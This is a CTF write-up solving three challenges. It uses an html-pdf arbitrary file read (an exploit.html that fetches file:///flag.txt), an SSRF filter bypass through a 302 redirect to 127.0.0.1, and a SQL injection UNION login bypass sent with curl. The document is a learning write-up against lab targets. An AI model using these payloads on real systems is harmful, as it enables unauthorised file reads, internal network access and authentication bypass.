CTF - time2hack, writeups

Some time ago I took part in a CTF competition organized by the Foreign Intelligence Agency . Below I present a description of my solutions to some of the more interesting tasks that were available on the competition website.

1. SecureDocuments

On a specially prepared website, we have a form where we can upload a file, which will then be placed on the server. In addition, we also have access to the source code of the application.

~/securedocuments$ ls *
docker-compose.yml  Dockerfile  flag.txt

app:
app.py  requirements.txt  storage  templates
securedocuments.zip

Basic information on the technologies used can be found in the 'Dockerfile' file used to build Docker container images .

FROM node:stretch

RUN apt-get update && \
	apt-get install python3 python3-pip gcc -y

WORKDIR /var/app
ENV FLASK_APP=app.py
ENV FLASK_RUN_HOST=0.0.0.0
ENV LC_ALL=C.UTF-8
ENV LANG=C.UTF-8

COPY ./app/ ./
COPY flag.txt /flag.txt

RUN python3 -m pip install -r requirements.txt
EXPOSE 5000

RUN npm install -g html-pdf

CMD ["flask", "run"]
Dockerfile

Here we can see that the Flask technology is used as a web application framework where the main file is defined as the 'FLASK_APP' environment variable. In addition, various libraries contained in the 'requirements.txt' file and the ' html-pdf ' library written for the Node.JS environment are used .

A few conclusions after a short analysis of the source code of the application itself:

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.html', '.txt', '.md', '.jpg', '.png']
app.config['UPLOAD_PATH'] = 'storage'
app.py

We have defined a few file extensions that are accepted by the server (.html, .txt, .md, .jpg, .png) and an interesting function called 'convert ()' that converts our file with the extension '.html' to a file '.pdf' using the ' html-pdf ' library .

if file_ext == '.html':
            os.system('html-pdf ./' + file + ' ' + new_file)
            return 'File conversion completed - <a href="/">Go Back</a>', 200
app.py

After a short analysis, I managed to find interesting information about the error that occurred some time ago in this library described as - ' Arbitrary File Read '

The script that read the flag.txt file looked like this:

<script>
    x=new XMLHttpRequest;
    x.onload=function(){  
    document.write(this.responseText)
};
    x.open("GET","file:///flag.txt");
    x.send();
</script>
exploit.html

After uploading the script in '.html' format and then converting the file to '.pdf' using the functionality available on the website, it allowed to read the 'flag.txt' file with the code needed to score points.


2. CheckMe

After reading the short description and checking the available page for this task, it was possible to conclude that the information needed for the completion was on a server accessible only on the intranet . The form available on the website allowed to enter any URL address that identified the HTTP or HTTPS scheme and then downloaded and displayed the content of this resource.

Also here, the source codes of the applications are available for us, from which we can learn a lot of interesting information.

FROM ubuntu:20.04

RUN apt-get update && \
	DEBIAN_FRONTEND=noninteractive apt-get install python3 python3-pip gcc ssh nginx -y

WORKDIR /var/app
ENV FLASK_APP=app.py
ENV FLASK_RUN_HOST=0.0.0.0
ENV LC_ALL=C.UTF-8
ENV LANG=C.UTF-8

COPY ./start.sh ./start.sh
COPY ./app/ ./
COPY default.conf /etc/nginx/sites-available/default
COPY index.html /var/www/html/index.html

RUN python3 -m pip install -r requirements.txt
EXPOSE 5000

CMD ["bash", "./start.sh"]
Dockerfile
nginx -g 'daemon off;' & 
flask run
start.sh
server {
        listen 127.0.0.1:80;

        root /var/www/html;

        index index.html index.htm index.nginx-debian.html;

        server_name _;

        location / {
                try_files $uri $uri/ =404;
        }

}
default.conf
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Secure Internal Something</title>
</head>
<body>
    Authorized Access Only - 127.0.0.1 Internal Server
    This month flag is: CTF{REDACTED}
</body>
</html>
index.html

Based on the above-mentioned files, we can conclude that the flag needed to complete the task is in the 'index.html' file on the web server - nginx (start.sh) listening only on the local address - '127.0.0.1' and the standard port '80' (default.conf).

Unfortunately, entering the address in the form 'http://127.0.0.1' returns the message - 'Our company network is restricted', which can also be seen in the application code.

ip = socket.gethostbyname(parsed_addr.netloc.split(':')[0])
if ip == '127.0.0.1' or ip == '0.0.0.0':
	return render_template('index.html', site_response='Our company network is restricted') 
app.py

One way to bypass this type of security is the ability to indicate a web server that will serve the HTTP 302 header so that we can redirect the request to a local address.

HTTP/1.1 302
Location: http://127.0.0.1

We can use the shodan search engine to find a server that responds like this or put our own on a public address. By pointing to a specially crafted server in the form, another flag needed to complete the task was read.


3. DBClient

In this task, we only have an attachment and a short description.

The application in the attachment had being used to connect to a company's database. After migrating to CloudFlare, the application was abandoned. Can you check if it's still usable?

We check what type of information is contained in the downloaded file.

~$ file dbclient
dbclient: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a23d41fc95ff311edd25fdbb90604df5103d8cd9, for GNU/Linux 3.2.0, stripped

We have an ELF file here, i.e. an executable file format used on Linux systems . The application accepts two parameters 'username' and 'password' which we do not know.

./dbclient
Usage: ./dbclient <username> <password>

The easiest way to find out what a program was doing was to use the strace command to trace system calls and signals used while the application was running.

sendto(4, "1\263\1\0\0\1\0\0\0\0\0\0\16secretdatabase\16pleasehackthis\4site\0\0\1\0\1", 52, MSG_NOSIGNAL, NULL, 0) = 52

Here we see a call to the sendto function which is used to communicate over stream sockets or connected datagram sockets. The application tries to connect to host 'secretdatabase.pleasehackthis.site' which returns no response ..

The next step to learn more about the analyzed application was to use the gcore command , which is used to perform application memory dump.

~$ ./dbclient admin admin | gcore -a $(pidof dbclient)
0x00007f0980bf2461 in read () from /lib/x86_64-linux-gnu/libc.so.6
warning: target file /proc/17142/cmdline contained unexpected null characters
Saved corefile core.17142
[Inferior 1 (process 17142) detached]

The generated memory dump (core.17142) can now be searched for interesting printable character sequences using the strings command .

~$ strings core.17142 | grep GET
GET /login.php?u=%s&p=%s HTTP/1.0

Performing an HTTP query with previously obtained information returned information about an invalid password for the admin user.

~$ curl "https://secretdatabase.pleasehackthis.site/login.php?u=admin&p=admin"
Wrong password for user admin!

The final solution to the task was to use the SQL Injection method using the following payload :

admin' AND 1=2 union select 1,'admin','81dc9bdb52d04dc20036dbd8313ed055'-- x&p=1234
~$ curl "https://secretdatabase.pleasehackthis.site/login.php?u=admin%27%20AND%201=2%20union%20select%201,%27admin%27,%2781dc9bdb52d04dc20036dbd8313ed055%27--%20x&p=1234"
Welcome admin! You have one message: CTF{0l0f4rt9p4yb4ck}